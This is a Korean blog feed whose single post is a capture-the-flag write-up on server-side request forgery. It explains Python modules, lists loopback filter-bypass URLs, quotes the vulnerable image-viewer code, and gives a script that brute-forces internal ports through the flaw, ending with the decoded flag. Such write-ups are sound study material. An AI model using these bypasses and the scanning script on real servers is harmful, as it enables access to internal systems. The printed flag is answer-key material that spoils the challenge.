<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>m4ruru</title>
    <link>https://m4ruru.tistory.com/</link>
    <description>보안 공부하는 마루 킁킁</description>
    <language>ko</language>
    <pubDate>Fri, 17 Jul 2026 11:18:25 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>maru_</managingEditor>
    <image>
      <title>m4ruru</title>
      <url>https://tistory1.daumcdn.net/tistory/8568032/attach/455ffb5990584338ab922760b2ce36f9</url>
      <link>https://m4ruru.tistory.com</link>
    </image>
    <item>
      <title>web-ssrf</title>
      <link>https://m4ruru.tistory.com/31</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;235&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAeM1f/dJMcaf1oAYt/GuCIWkW5IlAXrvbkKtSGlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAeM1f/dJMcaf1oAYt/GuCIWkW5IlAXrvbkKtSGlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAeM1f/dJMcaf1oAYt/GuCIWkW5IlAXrvbkKtSGlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAeM1f%2FdJMcaf1oAYt%2FGuCIWkW5IlAXrvbkKtSGlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;204&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;235&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ssrf를 공부했으니, 관련 문제로 실습을 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 풀기전에, 문제에서 사용된 모듈들에 대해서 먼저 알아봐야겠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;urlparse&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파이썬의 &lt;span style=&quot;color: #409d00;&quot;&gt;urllib.parse 모듈&lt;/span&gt; 안에 있는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp; URL 문자열을 쪼개서 scheme, hostname, port, path, query 같은 구성요소로 나눠주는 함수&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- URL을 구성요소별로 나눠서 검사하기 쉽게 만들어주는 함수&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;예를들어서,&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1782714138140&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from urllib.parse import urlparse

url = &quot;https://example.com:8080/posts/3?sort=latest#comment&quot;
parsed = urlparse(url)

print(parsed)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 쓰면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 결과는&lt;/p&gt;
&lt;pre id=&quot;code_1782714161226&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ParseResult(
    scheme='https',
    netloc='example.com:8080',
    path='/posts/3',
    params='',
    query='sort=latest',
    fragment='comment'
)


# netloc -&amp;gt; URL에서 네트워크 위치정보
#        -&amp;gt; 이 요청을 어느 서버/호스트로 보낼 건지 나타내는 부분&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 나눠진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고&lt;/p&gt;
&lt;pre id=&quot;code_1782714276706&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from urllib.parse import urlparse

url = &quot;https://example.com:8080/posts/3&quot;sort=latest&quot;
parsed = urlparse(url)

print(parsed.scheme)    # https
print(parsed.hostname)  # example.com
print(parsed.port)      # 8080
print(parsed.path)      # /posts/3
print(parsed.query)     # sort=latest&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 꺼내서 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; SSRF 방어 코드에서 urlparse를 쓰는 이유는, 사용자가 넣은 URL을 &lt;span style=&quot;color: #006dd7;&quot;&gt;그냥 문자열로 대충 검사하는게 아니라 &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; URL 구조를 나눠서 확인&lt;/span&gt;하려고 쓰는 것!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;threading 모듈&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 작업을 &lt;span style=&quot;color: #409d00;&quot;&gt;동시에 실행&lt;/span&gt;하는 것처럼 해주는 파이썬 모듈&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 하나의 프로그램 안에서 여러 &quot;작업 흐름&quot;을 나눠서 돌리게 해주는 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파이썬 프로그램 안에서 여러 일을 동시에 돌리기 위한 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서, 원래 코드는 보통 위에서 아래로 한 줄씩 실행됨!&lt;/p&gt;
&lt;pre id=&quot;code_1782715959200&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;print(&quot;A&quot;)
print(&quot;B&quot;)
print(&quot;C&quot;)

#1. A 실행
#2. B 실행
#3. C 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 하나씩 순서대로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데, &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;threading&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;을 쓰면&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1782716505050&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import threading
import time

def task1():
	while True:
    	print(&quot;작업 1&quot;)
        time.sleep(1)

def task2():
	while True:
    	print(&quot;작업 2&quot;)
        time.sleep(1)
        
        
t1 = threading.Thread(target=task1)
t2 = threading.Thread(target=task2)

t1.start()
t2.start()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로, sleep으로 현재 작업 thread를 잠깐 멈추고 그 사이에 또 스케줄링으로 다음 thread 시작하고 이런식으로 여러개를 동시에 돌아가는 것 처럼 해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드는 흐름으로 보면&lt;/p&gt;
&lt;pre id=&quot;code_1782716700040&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;task1 실행
&amp;rarr; 1 출력
&amp;rarr; task1이 sleep(1)로 잠깐 쉼

그 사이 task2 실행
&amp;rarr; 2 출력
&amp;rarr; task2도 sleep(1)로 잠깐 쉼

다시 task1 깨어남
&amp;rarr; 1 출력
&amp;rarr; 쉼

다시 task2 깨어남
&amp;rarr; 2 출력
&amp;rarr; 쉼&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;http.server 모듈&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파이썬 기본 내장 모듈&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 간단한 HTTP 웹 서버를 빠르게 띄울 수 있게 해주는 모듈&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 간단한 파일 서버나 테스트용 HTTP 서버에 가까움&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서&lt;/p&gt;
&lt;pre id=&quot;code_1782716881142&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 -m http.server 8000&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 &lt;b&gt;현재 디렉터리 기준&lt;/b&gt;으로 웹 서버가 켜지고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 현재 디렉터리에&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1782716908433&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;index.html
image.png
test.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 파일이 있으면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저에서는&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1782716930246&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://127.0.0.1:8000/index.html
http://127.0.0.1:8000/image.png
http://127.0.0.1:8000/test.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 접근할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 즉, &lt;b&gt;현재 폴더를 웹으로 열어주는 느낌&lt;/b&gt;?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드로도 만들 수 있음,,&lt;/p&gt;
&lt;pre id=&quot;code_1782717250785&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(200)
       self.send_header(&quot;Content-Type&quot;, &quot;text/plain&quot;)
       self.end_headers()
       self.wfile.write(b&quot;Hello from http.server&quot;)

server = HTTPServer((&quot;127.0.0.1&quot;, 8000), MyHandler)
server.server_forever()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;HTTPServer &amp;rarr; 서버 자체를 생성하는 클래스&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;BaseHTTPRequestHandler &amp;rarr; 요청이 들어왔을 때 어떻게 처리할지 정하는 클래스&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;do_GET() &amp;rarr;&amp;nbsp;GET&amp;nbsp;요청이&amp;nbsp;들어왔을&amp;nbsp;때&amp;nbsp;실행되는&amp;nbsp;메서드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;send_response() &amp;rarr;&amp;nbsp;HTTP&amp;nbsp;상태&amp;nbsp;코드&amp;nbsp;보내기&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;send_header() &amp;rarr;&amp;nbsp;HTTP&amp;nbsp;헤더&amp;nbsp;보내기&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;end_headers() &amp;rarr;&amp;nbsp;헤더&amp;nbsp;끝났다고&amp;nbsp;표시하기&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;wfile.write() &amp;rarr;&amp;nbsp;응답&amp;nbsp;본문&amp;nbsp;보내기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;근데, 이거 Flask로 하면 간단함,,^&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1782717605457&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/&quot;)
def index():
	return &quot;Hello&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF 공부할 때 http.server는,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;종종 &lt;b&gt;외부 서버 역할&lt;/b&gt;이나 &lt;b&gt;내부 서버 역할&lt;/b&gt;을 간단히 만들 때 사용함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF가 실제로 요청을 보냈는지 확인하려고 간단한 서버를 띄워두기도 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;* URL 필터링 우회 *&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;127.0.01과 매핑된 도메인 이름 사용하기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 도메인 이름을 구매하면, 이를 DNS 서버에 등록해서 원하는 IP주소와 연결할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 이러면, 이후에 등록한 이름이 IP 주소로 Resolve됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; 임의의 도메인 이름 구매해서 해당 IP 주소와 연결해서 그 이름을 사용해서 필터링 우회하는 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;---&amp;gt; 127.0.01은 이미 매핑된 &quot;*.vcap.me&quot;를 활용하는 방법도 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;127.0.0.1의 alilas 이용하기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 하나의 IP는 여러 방식으로 표기 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서 127.0.0.1 은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 자릿수를 16진수로 변환한 0x7f.0x00.0x00.0x01에서 . 제거한 &lt;b&gt;0x7f000001&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 10진수로 풀어 쓴 &lt;b&gt;2130706433&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 자리 0을 생략한 &lt;b&gt;127.1&lt;/b&gt; , &lt;b&gt;127.0.1&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;localhost의 alias 이용하기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; URL에서 호스트와 스키마는 대소문자를 구분하지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 따라서, &quot;localhost&quot;의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미함&lt;/p&gt;
&lt;pre id=&quot;code_1782734451146&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 필터링 우회해서 사용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;[문제 풀이]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 문제코드를 살펴보면,,&lt;/p&gt;
&lt;pre id=&quot;code_1782730490608&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()  # Flag is here!!
except:
    FLAG = &quot;[**FLAG**]&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 문제의 flag가 현재 디렉터리의 /flag.txt에 있다고 한다,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 저기에 접근을 해서 flag를 찾아야 하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 해야할까..?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드들을 쭉 살펴보면&lt;/p&gt;
&lt;pre id=&quot;code_1782730568695&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/img_viewer&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def img_viewer():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;img_viewer.html&quot;)
    elif request.method == &quot;POST&quot;:
        url = request.form.get(&quot;url&quot;, &quot;&quot;)
        urlp = urlparse(url)
        if url[0] == &quot;/&quot;:
            url = &quot;http://localhost:8000&quot; + url
        elif (&quot;localhost&quot; in urlp.netloc) or (&quot;127.0.0.1&quot; in urlp.netloc):
            data = open(&quot;error.png&quot;, &quot;rb&quot;).read()
            img = base64.b64encode(data).decode(&quot;utf8&quot;)
            return render_template(&quot;img_viewer.html&quot;, img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode(&quot;utf8&quot;)
        except:
            data = open(&quot;error.png&quot;, &quot;rb&quot;).read()
            img = base64.b64encode(data).decode(&quot;utf8&quot;)
        return render_template(&quot;img_viewer.html&quot;, img=img)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 &lt;b&gt;코드 흐름&lt;/b&gt; 자체를 정리해보면&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 URL을 입력 -&amp;gt; img_viewer 에서 url을 받고 -&amp;gt; 서버가 requests.get(url)을 실행 -&amp;gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이에 대한 응답값을 base64인코딩해서 브라우저에 출력&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST요청으로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url = request.form.get(&quot;url&quot;, &quot;&quot;) -&amp;gt; 요청 폼에 url을 그대로 받아오지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래에 보면 &lt;b&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&quot;localhost&quot;, &quot;127.0.0.1&quot;에 대한 필터링&lt;/span&gt;&lt;/b&gt;이 존재하는 걸 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아래에 try구문을 보면&lt;/p&gt;
&lt;pre id=&quot;code_1782731053767&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode(&quot;utf8&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;url이 그대로 request.get으로 전달&lt;/b&gt;되는 걸 볼 수 있는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 만약 단순히 &quot;localhost&quot;, &quot;127.0.0.1&quot; 이 2개만 필터링이 걸려있고, 이 &lt;span style=&quot;color: #ee2323;&quot;&gt;필터링을 우회&lt;/span&gt;한다면 결국 &lt;span style=&quot;color: #ee2323;&quot;&gt;SSRF 취약점이 발생&lt;/span&gt;할 수 있을 거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아래에 코드를&amp;nbsp; 살펴보면&lt;/p&gt;
&lt;pre id=&quot;code_1782731284674&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;local_host = &quot;127.0.0.1&quot;
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;http.server를 이용해서 내부 서버를 열어주는 것을 볼 수 있는데,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http.server.SimpleHTTPRequestHandler&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 위에 모듈에 대해서 알아볼&amp;nbsp; 때 공부했듯이, 현재 실행 중인 디렉터리의 파일들을 HTTP로 제공해주기 때문에 이를 이용해서 flag.txt에 접근 가능할 것이다..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데, 보면 host = 127.0.0.1이고, port가 랜덤이라,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;&lt;b&gt;host 필터링을 우회&lt;/b&gt;해줘야하고&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;이건 &lt;b&gt;127.1 로 우회&lt;/b&gt;해줬다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;port도 찾아야 되는 것 같다.. 포트는 범위가 300개 정도니까,,, brute force로 찾아야겠다,,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;[brute_force 코드]&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1782732853924&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests

TARGET = &quot;http://host3.dreamhack.games:23220&quot;

# 실패할 포트로 요청해서 error.png 응답을 저장
error_response = requests.post(
    TARGET + &quot;/img_viewer&quot;,
    data={&quot;url&quot;: &quot;http://127.1:1/&quot;}  #POST 요청의 body에 들어가는 폼 데이터
).text

# 1500~1800 포트를 하나씩 시도
for port in range(1500, 1801):
    payload = f&quot;http://127.1:{port}/&quot;

    response = requests.post(
        TARGET + &quot;/img_viewer&quot;,
        data={&quot;url&quot;: payload},
        timeout=5
    ).text

    # 3. 실패 응답과 다르면 내부 서버가 열린 포트일 가능성이 높음
    if response != error_response:
        print(&quot;찾았다!&quot;)
        print(&quot;port:&quot;, port)
        print(&quot;payload:&quot;, payload)
        break&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 일단 실패할 포트로 error.png 응답 하나를 저장하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 뒤에 port를 브루트포싱 하면서 error응답이랑 비교해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 다른 게 열린 포트일 가능성이 높으니 이렇게 코드를 짜서 돌려보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mpNgO/dJMcagTBcku/qMByk4gtlucQn9kPoAWxlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mpNgO/dJMcagTBcku/qMByk4gtlucQn9kPoAWxlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mpNgO/dJMcagTBcku/qMByk4gtlucQn9kPoAWxlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmpNgO%2FdJMcagTBcku%2FqMByk4gtlucQn9kPoAWxlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;114&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 포트를 찾았고, 해당 포트와 host 우회를 이용해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청을 보내보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;88&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nSr7b/dJMcag0ikcJ/cwYkmmUYsBlRWrO8TnZNbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nSr7b/dJMcag0ikcJ/cwYkmmUYsBlRWrO8TnZNbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nSr7b/dJMcag0ikcJ/cwYkmmUYsBlRWrO8TnZNbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnSr7b%2FdJMcag0ikcJ%2FcwYkmmUYsBlRWrO8TnZNbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;573&quot; height=&quot;88&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;88&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 img로 base64 인코딩 된 값이 나오는 걸 볼 수 있고, 이걸 다시 디코딩 해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; DH{43dd2189056475a7f3bd11456a17ad71}&lt;br /&gt;이렇게 나오는 걸 볼 수 있다,,!!&lt;/p&gt;
